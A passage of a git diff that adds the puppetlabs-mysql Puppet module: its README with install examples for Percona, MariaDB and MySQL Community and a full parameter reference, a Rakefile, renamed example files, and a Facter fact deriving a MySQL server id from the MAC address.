server + +To instantiate databases and users on an existing MySQL server, you need a `.my.cnf` file in `root`'s home directory. This file must specify the remote server address and credentials. For example: + +```puppet +[client] +user=root +host=localhost +password=secret +``` + +This module uses the `mysqld_version` fact to discover the server version being used. By default, this is set to the output of `mysqld -V`. If you're working with a remote MySQL server, you may need to set a custom fact for `mysqld_version` to ensure correct behaviour. + +When working with a remote server, do *not* use the `mysql::server` class in your Puppet manifests. + +### Specify passwords + +In addition to passing passwords as plain text, you can input them as hashes. For example: + +```puppet +mysql::db { 'mydb': + user => 'myuser', + password => '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4', + host => 'localhost', + grant => ['SELECT', 'UPDATE'], +} +``` + +### Install Percona server on CentOS + +This example shows how to do a minimal installation of a Percona server on a +CentOS system. This sets up the Percona server, client, and bindings (including Perl and Python bindings). You can customize this usage and update the version as needed. + +This usage has been tested on Puppet 4.4 / CentOS 7 / Percona Server 5.7. + +**Note:** The installation of the yum repository is not part of this package +and is here only to show a full example of how you can install. + +```puppet +yumrepo { 'percona': + descr => 'CentOS $releasever - Percona', + baseurl => 'http://repo.percona.com/centos/$releasever/os/$basearch/', + gpgkey => 'http://www.percona.com/downloads/percona-release/RPM-GPG-KEY-percona', + enabled => 1, + gpgcheck => 1, +} + +class {'mysql::server': + package_name => 'Percona-Server-server-57', + package_ensure => '5.7.11-4.1.el7', + service_name => 'mysql', + config_file => '/etc/my.cnf', + includedir => '/etc/my.cnf.d', + root_password => 'PutYourOwnPwdHere', + override_options => { + mysqld => { + log-error => '/var/log/mysqld.log', + pid-file => '/var/run/mysqld/mysqld.pid', + }, + mysqld_safe => { + log-error => '/var/log/mysqld.log', + }, + } +} + +# Note: Installing Percona-Server-server-57 also installs Percona-Server-client-57. +# This shows how to install the Percona MySQL client on its own +class {'mysql::client': + package_name => 'Percona-Server-client-57', + package_ensure => '5.7.11-4.1.el7', +} + +# These packages are normally installed along with Percona-Server-server-57 +# If you needed to install the bindings, however, you could do so with this code +class { 'mysql::bindings': + client_dev_package_name => 'Percona-Server-shared-57', + client_dev_package_ensure => '5.7.11-4.1.el7', + client_dev => true, + daemon_dev_package_name => 'Percona-Server-devel-57', + daemon_dev_package_ensure => '5.7.11-4.1.el7', + daemon_dev => true, + perl_enable => true, + perl_package_name => 'perl-DBD-MySQL', + python_enable => true, + python_package_name => 'MySQL-python', +} + +# Dependencies definition +Yumrepo['percona']-> +Class['mysql::server'] + +Yumrepo['percona']-> +Class['mysql::client'] + +Yumrepo['percona']-> +Class['mysql::bindings'] +``` + +### Install MariaDB on Ubuntu + +#### Optional: Install the MariaDB official repo + +In this example, we'll use the latest stable (currently 10.1) from the official MariaDB repository, not the one from the distro repository. You could instead use the package from the Ubuntu repository. Make sure you use the repository corresponding to the version you want. + +**Note:** `sfo1.mirrors.digitalocean.com` is one of many mirrors available. You can use any official mirror. + +```puppet +include apt + +apt::source { 'mariadb': + location => 'http://sfo1.mirrors.digitalocean.com/mariadb/repo/10.1/ubuntu', + release => $::lsbdistcodename, + repos => 'main', + key => { + id => '199369E5404BD5FC7D2FE43BCBCB082A1BB943DB', + server => 'hkp://keyserver.ubuntu.com:80', + }, + include => { + src => false, + deb => true, + }, +} +``` + +#### Install the MariaDB server + +This example shows MariaDB server installation on Ubuntu Trusty. Adjust the version and the parameters of `my.cnf` as needed. All parameters of the `my.cnf` can be defined using the `override_options` parameter. + +The folders `/var/log/mysql` and `/var/run/mysqld` are created automatically, but if you are using other custom folders, they should exist as prerequisites for this code. + +All the values set here are an example of a working minimal configuration. + +Specify the version of the package you want with the `package_ensure` parameter. + +```puppet +class {'::mysql::server': + package_name => 'mariadb-server', + package_ensure => '10.1.14+maria-1~trusty', + service_name => 'mysql', + root_password => 'AVeryStrongPasswordUShouldEncrypt!', + override_options => { + mysqld => { + 'log-error' => '/var/log/mysql/mariadb.log', + 'pid-file' => '/var/run/mysqld/mysqld.pid', + }, + mysqld_safe => { + 'log-error' => '/var/log/mysql/mariadb.log', + }, + } +} + +# Dependency management. Only use that part if you are installing the repository +# as shown in the Preliminary step of this example. +Apt::Source['mariadb'] ~> +Class['apt::update'] -> +Class['::mysql::server'] + +``` + +#### Install the MariaDB client + +This example shows how to install the MariaDB client and all of the bindings at once. You can do this installation separately from the server installation. + +Specify the version of the package you want with the `package_ensure` parameter. + +```puppet +class {'::mysql::client': + package_name => 'mariadb-client', + package_ensure => '10.1.14+maria-1~trusty', + bindings_enable => true, +} + +# Dependency management. Only use that part if you are installing the repository as shown in the Preliminary step of this example. +Apt::Source['mariadb'] ~> +Class['apt::update'] -> +Class['::mysql::client'] +``` + +### Install MySQL Community server on CentOS + +You can install MySQL Community Server on CentOS using the mysql module and Hiera. This example was tested with the following versions: + +* MySQL Community Server 5.6 +* Centos 7.3 +* Puppet 3.8.7 using Hiera +* puppetlabs-mysql module v3.9.0 + +In Puppet: + +```puppet +include ::mysql::server + +create_resources(yumrepo, hiera('yumrepo', {})) + +Yumrepo['repo.mysql.com'] -> Anchor['mysql::server::start'] +Yumrepo['repo.mysql.com'] -> Package['mysql_client'] + +create_resources(mysql::db, hiera('mysql::server::db', {})) +``` + +In Hiera: + +```yaml +--- + +# Centos 7.3 +yumrepo: + 'repo.mysql.com': + baseurl: "http://repo.mysql.com/yum/mysql-5.6-community/el/%{::operatingsystemmajrelease}/$basearch/" + descr: 'repo.mysql.com' + enabled: 1 + gpgcheck: true + gpgkey: 'http://repo.mysql.com/RPM-GPG-KEY-mysql' + +mysql::client::package_name: "mysql-community-client" # required for proper MySQL installation +mysql::server::package_name: "mysql-community-server" # required for proper MySQL installation +mysql::server::package_ensure: 'installed' # do not specify version here, unfortunately yum fails with error that package is already installed +mysql::server::root_password: "change_me_i_am_insecure" +mysql::server::manage_config_file: true +mysql::server::service_name: 'mysqld' # required for puppet module +mysql::server::override_options: + 'mysqld': + 'bind-address': '127.0.0.1' + 'log-error': /var/log/mysqld.log' # required for proper MySQL installation + 'mysqld_safe': + 'log-error': '/var/log/mysqld.log' # required for proper MySQL installation + +# create database + account with access, passwords are not encrypted +mysql::server::db: + "dev": + user: "dev" + password: "devpass" + host: "127.0.0.1" + grant: + - "ALL" + +``` + + +## Reference + +### Classes + +#### Public classes + +* [`mysql::server`](#mysqlserver): Installs and configures MySQL. +* [`mysql::server::monitor`](#mysqlservermonitor): Sets up a monitoring user. +* [`mysql::server::mysqltuner`](#mysqlservermysqltuner): Installs MySQL tuner script. +* [`mysql::server::backup`](#mysqlserverbackup): Sets up MySQL backups via cron. +* [`mysql::bindings`](#mysqlbindings): Installs various MySQL language bindings. +* [`mysql::client`](#mysqlclient): Installs MySQL client (for non-servers). + +#### Private classes + +* `mysql::server::install`: Installs packages. +* `mysql::server::installdb`: Implements setup of mysqld data directory (e.g. /var/lib/mysql) +* `mysql::server::config`: Configures MYSQL. +* `mysql::server::service`: Manages service. +* `mysql::server::account_security`: Deletes default MySQL accounts. +* `mysql::server::root_password`: Sets MySQL root password. +* `mysql::server::providers`: Creates users, grants, and databases. +* `mysql::bindings::client_dev`: Installs MySQL client development package. +* `mysql::bindings::daemon_dev`: Installs MySQL daemon development package. +* `mysql::bindings::java`: Installs Java bindings. +* `mysql::bindings::perl`: Installs Perl bindings. +* `mysql::bindings::php`: Installs PHP bindings. +* `mysql::bindings::python`: Installs Python bindings. +* `mysql::bindings::ruby`: Installs Ruby bindings. +* `mysql::client::install`: Installs MySQL client. +* `mysql::backup::mysqldump`: Implements mysqldump backups. +* `mysql::backup::mysqlbackup`: Implements backups with Oracle MySQL Enterprise Backup. +* `mysql::backup::xtrabackup`: Implements backups with XtraBackup from Percona. + +### Parameters + +#### mysql::server + +##### `create_root_user` + +Whether root user should be created. + +Valid values are `true`, `false`. + +Defaults to `true`. + +This is useful for a cluster setup with Galera. The root user has to be created only once. You can set this parameter true on one node and set it to false on the remaining nodes. + +##### `create_root_my_cnf` + +Whether to create `/root/.my.cnf`. + +Valid values are `true`, `false`. + +Defaults to `true`. + +`create_root_my_cnf` allows creation of `/root/.my.cnf` independently of `create_root_user`. You can use this for a cluster setup with Galera where you want `/root/.my.cnf` to exist on all nodes. + +##### `root_password` + +The MySQL root password. Puppet attempts to set the root password and update `/root/.my.cnf` with it. + +This is required if `create_root_user` or `create_root_my_cnf` are true. If `root_password` is 'UNSET', then `create_root_user` and `create_root_my_cnf` are assumed to be false --- that is, the MySQL root user and `/root/.my.cnf` are not created. + +Password changes are supported; however, the old password must be set in `/root/.my.cnf`. Effectively, Puppet uses the old password, configured in `/root/my.cnf`, to set the new password in MySQL, and then updates `/root/.my.cnf` with the new password. + +##### `old_root_password` + +This parameter no longer does anything. It exists only for backwards compatibility. See the `root_password` parameter above for details on changing the root password. + +##### `override_options` + +Specifies override options to pass into MySQL. Structured like a hash in the my.cnf file: + +```puppet +$override_options = { + 'section' => { + 'item' => 'thing', + } +} +``` + +See [**Customize Server Options**](#customize-server-options) above for usage details. + +##### `config_file` + +The location, as a path, of the MySQL configuration file. + +##### `manage_config_file` + +Whether the MySQL configuration file should be managed. + +Valid values are `true`, `false`. + +Defaults to `true`. + +##### `includedir` + +The location, as a path, of !includedir for custom configuration overrides. + +##### `install_options` + +Passes [install_options](https://docs.puppetlabs.com/references/latest/type.html#package-attribute-install_options) array to managed package resources. You must pass the appropriate options for the specified package manager. + +##### `purge_conf_dir` + +Whether the `includedir` directory should be purged. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `restart` + +Whether the service should be restarted when things change. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `root_group` + +The name of the group used for root. Can be a group name or a group ID. See more about the [`group` file attribute](https://docs.puppetlabs.com/references/latest/type.html#file-attribute-group). + +##### `mysql_group` + +The name of the group of the MySQL daemon user. Can be a group name or a group ID. See more about the [`group` file attribute](https://docs.puppetlabs.com/references/latest/type.html#file-attribute-group). + +##### `package_ensure` + +Whether the package exists or should be a specific version. + +Valid values are 'present', 'absent', or 'x.y.z'. + +Defaults to 'present'. + +##### `package_manage` + +Whether to manage the MySQL server package. + +Defaults to `true`. + +##### `package_name` + +The name of the MySQL server package to install. + +##### `remove_default_accounts` + +Specifies whether to automatically include `mysql::server::account_security`. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `service_enabled` + +Specifies whether the service should be enabled. + +Valid values are `true`, `false`. + +Defaults to `true`. + +##### `service_manage` + +Specifies whether the service should be managed. + +Valid values are `true`, `false`. + +Defaults to `true`. + +##### `service_name` + +The name of the MySQL server service. + +Defaults are OS dependent, defined in 'params.pp'. + +##### `service_provider` + +The provider to use to manage the service. + +For Ubuntu, defaults to 'upstart'; otherwise, default is undefined. + +##### `users` + +Optional hash of users to create, which are passed to [mysql_user](#mysql_user). + +```puppet +users => { + 'someuser@localhost' => { + ensure => 'present', + max_connections_per_hour => '0', + max_queries_per_hour => '0', + max_updates_per_hour => '0', + max_user_connections => '0', + password_hash => '*F3A2A51A9B0F2BE2468926B4132313728C250DBF', + tls_options => ['NONE'], + }, +} +``` + +##### `grants` + +Optional hash of grants, which are passed to [mysql_grant](#mysql_grant). + +```puppet +grants => { + 'someuser@localhost/somedb.*' => { + ensure => 'present', + options => ['GRANT'], + privileges => ['SELECT', 'INSERT', 'UPDATE', 'DELETE'], + table => 'somedb.*', + user => 'someuser@localhost', + }, +} +``` + +##### `databases` + +Optional hash of databases to create, which are passed to [mysql_database](#mysql_database). + +```puppet +databases => { + 'somedb' => { + ensure => 'present', + charset => 'utf8', + }, +} +``` + +#### mysql::server::backup + +##### `backupuser` + +MySQL user to create for backups. + +##### `backuppassword` + +MySQL user password for backups. + +##### `backupdir` + +Directory in which to store backups. + +##### `backupdirmode` + +Permissions applied to the backup directory. This parameter is passed directly to the `file` resource. + +##### `backupdirowner` + +Owner for the backup directory. This parameter is passed directly to the `file` resource. + +##### `backupdirgroup` + +Group owner for the backup directory. This parameter is passed directly to the `file` resource. + +##### `backupcompress` + +Whether backups should be compressed. + +Valid values are `true`, `false`. + +Defaults to `true`. + +##### `backuprotate` + +How many days to keep backups. + +Valid value is an integer. + +Defaults to 30. + +##### `delete_before_dump` + +Whether to delete old .sql files before backing up. Setting to true deletes old files before backing up, while setting to false deletes them after backup. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `backupdatabases` + +Specifies an array of databases to back up. + +##### `file_per_database` + +Whether a separate file be used per database. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `include_routines` + +Whether or not to include routines for each database when doing a `file_per_database` backup. + +Defaults to `false`. + +##### `include_triggers` + +Whether or not to include triggers for each database when doing a `file_per_database` backup. + +Defaults to `false`. + +##### `ensure` + +Allows you to remove the backup scripts. + +Valid values are 'present', 'absent'. + +Defaults to 'present'. + +##### `execpath` + +Allows you to set a custom PATH should your MySQL installation be non-standard places. Defaults to `/usr/bin:/usr/sbin:/bin:/sbin`. + +##### `time` + +An array of two elements to set the backup time. Allows ['23', '5'] (i.e., 23:05) or ['3', '45'] (i.e., 03:45) for HH:MM times. + +#### mysql::server::backup + +##### `postscript` + +A script that is executed when the backup is finished. This could be used to sync the backup to a central store. This script can be either a single line that is directly executed or a number of lines supplied as an array. It could also be one or more externally managed (executable) files. + +##### `prescript` + +A script that is executed before the backup begins. + +##### `provider` + +Sets the server backup implementation. Valid values are: + +* `mysqldump`: Implements backups with mysqldump. Backup type: Logical. This is the default value. +* `mysqlbackup`: Implements backups with MySQL Enterprise Backup from Oracle. Backup type: Physical. To use this type of backup, you'll need the `meb` package, which is available in RPM and TAR formats from Oracle. For Ubuntu, you can use [meb-deb](https://github.com/dveeden/meb-deb) to create a package from an official tarball. +* `xtrabackup`: Implements backups with XtraBackup from Percona. Backup type: Physical. + +##### `maxallowedpacket` + +Defines the maximum SQL statement size for the backup dump script. The default value is 1MB, as this is the default MySQL Server value. + +##### `optional_args` + +Specifies an array of optional arguments which should be passed through to the backup tool. (Currently only supported by the xtrabackup provider.) + +#### mysql::server::monitor + +##### `mysql_monitor_username` + +The username to create for MySQL monitoring. + +##### `mysql_monitor_password` + +The password to create for MySQL monitoring. + +##### `mysql_monitor_hostname` + +The hostname from which the monitoring user requests are allowed access. + +#### mysql::server::mysqltuner + +**Note**: If you're using this class on a non-network-connected system, you must download the mysqltuner.pl script and have it hosted somewhere accessible via `http(s)://`, `puppet://`, `ftp://`, or a fully qualified file path. + +##### `ensure` + +Ensures that the resource exists. + +Valid values are 'present', 'absent'. + +Defaults to 'present'. + +##### `version` + +The version to install from the major/MySQLTuner-perl github repository. Must be a valid tag. + +Defaults to 'v1.3.0'. + +##### `environment` + +Environment variables active during download, e.g. to download via proxies: environment => 'https_proxy=http://proxy.example.com:80' + +#### mysql::bindings + +##### `client_dev` + +Specifies whether `::mysql::bindings::client_dev` should be included. + +Valid values are `true`', `false`. + +Defaults to `false`. + +##### `daemon_dev` + +Specifies whether `::mysql::bindings::daemon_dev` should be included. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `java_enable` + +Specifies whether `::mysql::bindings::java` should be included. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `perl_enable` + +Specifies whether `mysql::bindings::perl` should be included. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `php_enable` + +Specifies whether `mysql::bindings::php` should be included. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `python_enable` + +Specifies whether `mysql::bindings::python` should be included. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `ruby_enable` + +Specifies whether `mysql::bindings::ruby` should be included. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `install_options` + +Passes `install_options` array to managed package resources. You must pass the [appropriate options](https://docs.puppetlabs.com/references/latest/type.html#package-attribute-install_options) for the package manager(s). + +##### `client_dev_package_ensure` + +Whether the package should be present, absent, or a specific version. + +Valid values are 'present', 'absent', or 'x.y.z'. + +Only applies if `client_dev => true`. + +##### `client_dev_package_name` + +The name of the client_dev package to install. + +Only applies if `client_dev => true`. + +##### `client_dev_package_provider` + +The provider to use to install the client_dev package. + +Only applies if `client_dev => true`. + +##### `daemon_dev_package_ensure` + +Whether the package should be present, absent, or a specific version. + +Valid values are 'present', 'absent', or 'x.y.z'. + +Only applies if `daemon_dev => true`. + +##### `daemon_dev_package_name` + +The name of the daemon_dev package to install. + +Only applies if `daemon_dev => true`. + +##### `daemon_dev_package_provider` + +The provider to use to install the daemon_dev package. + +Only applies if `daemon_dev => true`. + +##### `java_package_ensure` + +Whether the package should be present, absent, or a specific version. + +Valid values are 'present', 'absent', or 'x.y.z'. + +Only applies if `java_enable => true`. + +##### `java_package_name` + +The name of the Java package to install. + +Only applies if `java_enable => true`. + +##### `java_package_provider` + +The provider to use to install the Java package. + +Only applies if `java_enable => true`. + +##### `perl_package_ensure` + +Whether the package should be present, absent, or a specific version. + +Valid values are 'present', 'absent', or 'x.y.z'. + +Only applies if `perl_enable => true`. + +##### `perl_package_name` + +The name of the Perl package to install. + +Only applies if `perl_enable => true`. + +##### `perl_package_provider` + +The provider to use to install the Perl package. + +Only applies if `perl_enable => true`. + +##### `php_package_ensure` + +Whether the package should be present, absent, or a specific version. + +Valid values are 'present', 'absent', or 'x.y.z'. + +Only applies if `php_enable => true`. + +##### `php_package_name` + +The name of the PHP package to install. + +Only applies if `php_enable => true`. + +##### `python_package_ensure` + +Whether the package should be present, absent, or a specific version. + +Valid values are 'present', 'absent', or 'x.y.z'. + +Only applies if `python_enable => true`. + +##### `python_package_name` + +The name of the Python package to install. + +Only applies if `python_enable => true`. + +##### `python_package_provider` + +The provider to use to install the Python package. + +Only applies if `python_enable => true`. + +##### `ruby_package_ensure` + +Whether the package should be present, absent, or a specific version. + +Valid values are 'present', 'absent', or 'x.y.z'. + +Only applies if `ruby_enable => true`. + +##### `ruby_package_name` + +The name of the Ruby package to install. + +Only applies if `ruby_enable => true`. + +##### `ruby_package_provider` + +What provider should be used to install the package. + +#### mysql::client + +##### `bindings_enable` + +Whether to automatically install all bindings. + +Valid values are `true`, `false`. + +Default to `false`. + +##### `install_options` + +Array of install options for managed package resources. You must pass the appropriate options for the package manager. + +##### `package_ensure` + +Whether the MySQL package should be present, absent, or a specific version. + +Valid values are 'present', 'absent', or 'x.y.z'. + +##### `package_manage` + +Whether to manage the MySQL client package. + +Defaults to `true`. + +##### `package_name` + +The name of the MySQL client package to install. + +### Defines + +#### mysql::db + +```puppet +mysql_database { 'information_schema': + ensure => 'present', + charset => 'utf8', + collate => 'utf8_swedish_ci', +} +mysql_database { 'mysql': + ensure => 'present', + charset => 'latin1', + collate => 'latin1_swedish_ci', +} +``` + +##### `user` + +The user for the database you're creating. + +##### `password` + +The password for $user for the database you're creating. + +##### `dbname` + +The name of the database to create. + +Defaults to "$name". + +##### `charset` + +The character set for the database. + +Defaults to 'utf8'. + +##### `collate` + +The collation for the database. + +Defaults to 'utf8_general_ci'. + +##### `host` + +The host to use as part of user@host for grants. + +Defaults to 'localhost'. + +##### `grant` + +The privileges to be granted for user@host on the database. + +Defaults to 'ALL'. + +##### `sql` + +The path to the sqlfile you want to execute. This can be single file specified as string, or it can be an array of strings. + +Defaults to `undef`. + +##### `enforce_sql` + +Specifies whether executing the sqlfiles should happen on every run. If set to false, sqlfiles only run once. + +Valid values are `true`, `false`. + +Defaults to `false`. + +##### `ensure` + +Specifies whether to create the database. + +Valid values are 'present', 'absent'. + +Defaults to 'present'. + +##### `import_timeout` + +Timeout, in seconds, for loading the sqlfiles. + +Defaults to 300. + +##### `import_cat_cmd` + +Command to read the sqlfile for importing the database. Useful for compressed sqlfiles. For example, you can use 'zcat' for .gz files. + +Defaults to 'cat'. + +### Types + +#### mysql_database + +`mysql_database` creates and manages databases within MySQL. + +##### `ensure` + +Whether the resource is present. + +Valid values are 'present', 'absent'. + +Defaults to 'present'. + +##### `name` + +The name of the MySQL database to manage. + +##### `charset` + +The CHARACTER SET setting for the database. + +Defaults to ':utf8'. + +##### `collate` + +The COLLATE setting for the database. + +Defaults to ':utf8_general_ci'. + +#### mysql_user + +Creates and manages user grants within MySQL. + +```puppet +mysql_user { 'root@127.0.0.1': + ensure => 'present', + max_connections_per_hour => '0', + max_queries_per_hour => '0', + max_updates_per_hour => '0', + max_user_connections => '0', +} +``` + +You can also specify an authentication plugin. + +```puppet +mysql_user{ 'myuser'@'localhost': + ensure => 'present', + plugin => 'unix_socket', +} +``` + +TLS options can be specified for a user. + +```puppet +mysql_user{ 'myuser'@'localhost': + ensure => 'present', + tls_options => ['SSL'], +} +``` + +##### `name` + +The name of the user, as 'username@hostname' or username@hostname. + +##### `password_hash` + +The user's password hash of the user. Use mysql_password() for creating such a hash. + +##### `max_user_connections` + +Maximum concurrent connections for the user. + +Must be an integer value. + +A value of '0' specifies no (or global) limit. + +##### `max_connections_per_hour` + +Maximum connections per hour for the user. + +Must be an integer value. + +A value of '0' specifies no (or global) limit. + +##### `max_queries_per_hour` + +Maximum queries per hour for the user. + +Must be an integer value. + +A value of '0' specifies no (or global) limit. + +##### `max_updates_per_hour` + +Maximum updates per hour for the user. + +Must be an integer value. + +A value of '0' specifies no (or global) limit. + +##### `tls_options` + +SSL-related options for a MySQL account, using one or more tls_option values. 'NONE' specifies that the account has no TLS options enforced, and the available options are 'SSL', 'X509', 'CIPHER *cipher*', 'ISSUER *issuer*', 'SUBJECT *subject*'; as stated in the MySQL documentation. + + +#### mysql_grant + +`mysql_grant` creates grant permissions to access databases within MySQL. To create grant permissions to access databases with MySQL, use it you must create the title of the resource as shown below, following the pattern of `username@hostname/database.table`: + +```puppet +mysql_grant { 'root@localhost/*.*': + ensure => 'present', + options => ['GRANT'], + privileges => ['ALL'], + table => '*.*', + user => 'root@localhost', +} +``` + +It is possible to specify privileges down to the column level: + +```puppet +mysql_grant { 'root@localhost/mysql.user': + ensure => 'present', + privileges => ['SELECT (Host, User)'], + table => 'mysql.user', + user => 'root@localhost', +} +``` + +To revoke GRANT privilege specify ['NONE']. + +##### `ensure` + +Whether the resource is present. + +Valid values are 'present', 'absent'. + +Defaults to 'present'. + +##### `name` + +Name to describe the grant. Must in a 'user/table' format. + +##### `privileges` + +Privileges to grant the user. + +##### `table` + +The table to which privileges are applied. + +##### `user` + +User to whom privileges are granted. + +##### `options` + +MySQL options to grant. Optional. + +#### mysql_plugin + +`mysql_plugin` can be used to load plugins into the MySQL Server. + +```puppet +mysql_plugin { 'auth_socket': + ensure => 'present', + soname => 'auth_socket.so', +} +``` + +##### `ensure` + +Whether the resource is present. + +Valid values are 'present', 'absent'. + +Defaults to 'present'. + +##### `name` + +The name of the MySQL plugin to manage. + +##### `soname` + +The library file name. + +#### `mysql_datadir` + +Initializes the MySQL data directory with version specific code. Pre MySQL 5.7.6 it uses mysql_install_db. After MySQL 5.7.6 it uses mysqld --initialize-insecure. + +Insecure initialization is needed, as mysqld version 5.7 introduced 'secure by default' mode. This means MySQL generates a random password and writes it to STDOUT. This means puppet can never access the database server afterwards, as no credentials are available. + +This type is an internal type and should not be called directly. + +### Facts + +#### `mysql_version` + +Determines the MySQL version by parsing the output from `mysql --version` + +#### `mysql_server_id` + +Generates a unique id, based on the node's MAC address, which can be used as `server_id`. This fact will *always* return `0` on nodes that have only loopback interfaces. Because those nodes aren't connected to the outside world, this shouldn't cause any conflicts. + +### Tasks + +The MySQL module has an example task that allows a user to execute arbitary SQL against a database. Please refer to to the [PE documentation](https://puppet.com/docs/pe/2017.3/orchestrator/running_tasks.html) or [Bolt documentation](https://puppet.com/docs/bolt/latest/bolt.html) on how to execute a task. + +## Limitations + +This module has been tested on: + +* RedHat Enterprise Linux 5, 6, 7 +* Debian 6, 7, 8 +* CentOS 5, 6, 7 +* Ubuntu 10.04, 12.04, 14.04, 16.04 +* Scientific Linux 5, 6 +* SLES 11 + +Testing on other platforms has been minimal and cannot be guaranteed. + +**Note:** The mysqlbackup.sh does not work and is not supported on MySQL 5.7 and greater. + +Debian 9 compatibility has not been fully verified. + +## Development + +Puppet modules on the Puppet Forge are open projects, and community contributions are essential for keeping them great. We can't access the huge number of platforms and myriad of hardware, software, and deployment configurations that Puppet is intended to serve. + +We want to keep it as easy as possible to contribute changes so that our modules work in your environment. There are a few guidelines that we need contributors to follow so that we can have a chance of keeping on top of things. + +Check out our the complete [module contribution guide](https://docs.puppetlabs.com/forge/contributing.html). + +### Authors + +This module is based on work by David Schmitt. The following contributors have contributed to this module (beyond Puppet Labs): + +* Larry Ludwig +* Christian G. Warden +* Daniel Black +* Justin Ellison +* Lowe Schmidt +* Matthias Pigulla +* William Van Hevelingen +* Michael Arnold +* Chris Weyl +* Daniël van Eeden +* Jan-Otto Kröpke +* Timothy Sven Nelson diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/Rakefile b/modules/services/unix/database/mysql_stretch_compatible/mysql/Rakefile new file mode 100644 index 000000000..f39d8351c --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/Rakefile @@ -0,0 +1,4 @@ +require 'puppetlabs_spec_helper/rake_tasks' +require 'puppet-syntax/tasks/puppet-syntax' +require 'puppet_blacksmith/rake_tasks' +require 'puppet_pot_generator/rake_tasks' diff --git a/modules/services/unix/database/mysql/TODO b/modules/services/unix/database/mysql_stretch_compatible/mysql/TODO similarity index 100% rename from modules/services/unix/database/mysql/TODO rename to modules/services/unix/database/mysql_stretch_compatible/mysql/TODO diff --git a/modules/services/unix/database/mysql/examples/backup.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/backup.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/backup.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/backup.pp diff --git a/modules/services/unix/database/mysql/examples/bindings.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/bindings.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/bindings.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/bindings.pp diff --git a/modules/services/unix/database/mysql/examples/java.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/java.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/java.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/java.pp diff --git a/modules/services/unix/database/mysql/examples/mysql_database.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_database.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/mysql_database.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_database.pp diff --git a/modules/services/unix/database/mysql/examples/mysql_db.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_db.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/mysql_db.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_db.pp diff --git a/modules/services/unix/database/mysql/examples/mysql_grant.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_grant.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/mysql_grant.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_grant.pp diff --git a/modules/services/unix/database/mysql/examples/mysql_plugin.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_plugin.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/mysql_plugin.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_plugin.pp diff --git a/modules/services/unix/database/mysql/examples/mysql_user.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_user.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/mysql_user.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_user.pp diff --git a/modules/services/unix/database/mysql/examples/perl.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/perl.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/perl.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/perl.pp diff --git a/modules/services/unix/database/mysql/examples/python.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/python.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/python.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/python.pp diff --git a/modules/services/unix/database/mysql/examples/ruby.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/ruby.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/ruby.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/ruby.pp diff --git a/modules/services/unix/database/mysql/examples/server.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/server.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server.pp diff --git a/modules/services/unix/database/mysql/examples/server/account_security.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server/account_security.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/server/account_security.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server/account_security.pp diff --git a/modules/services/unix/database/mysql/examples/server/config.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server/config.pp similarity index 100% rename from modules/services/unix/database/mysql/examples/server/config.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server/config.pp diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_server_id.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_server_id.rb new file mode 100644 index 000000000..b658dca23 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_server_id.rb @@ -0,0 +1,13 @@ +def mysql_id_get + Facter.value(:macaddress).split(':')[2..-1].reduce(0) { |total, value| (total << 6) + value.hex } +end + +Facter.add('mysql_server_id') do + setcode do + begin + mysql_id_get + rescue + nil + end + end +end diff --git 